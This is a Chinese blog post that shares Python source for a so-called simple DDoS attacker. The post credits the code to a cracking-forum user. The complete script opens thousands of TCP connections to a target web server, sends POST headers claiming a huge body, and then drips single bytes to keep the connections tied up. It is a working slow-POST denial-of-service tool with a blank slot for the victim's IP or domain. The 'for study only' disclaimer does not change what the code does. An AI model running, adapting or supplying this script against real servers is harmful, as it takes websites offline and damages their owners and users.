Python打造简易DDos攻击器源码分享

作者 : 深码博客 本文共1044个字,预计阅读时间需要3分钟 发布时间: 2020-02-5 共584人阅读

今天分享由吾爱破解@cunzher大佬,使用Python语言写的一款本地DDos攻击器代码,分享给大家,代码原理利用socket模块不断向目标发送连接请求,达到攻击的目的。

import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在双引号里输入对方IP或域名.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()

启动需要安装socket、time、threading依赖,代码仅供理论学习参考,实际用途不大,测试注意修改源码


关注微信公众号『深码博客』

第一时间了解最新网络动态关注博主不迷路~

每周五免费更新一篇资源!【可后台留言】


深码博客 » Python打造简易DDos攻击器源码分享

常见问题FAQ

购买资源后没有自动发货怎么办?
联系站长:466466070

发表评论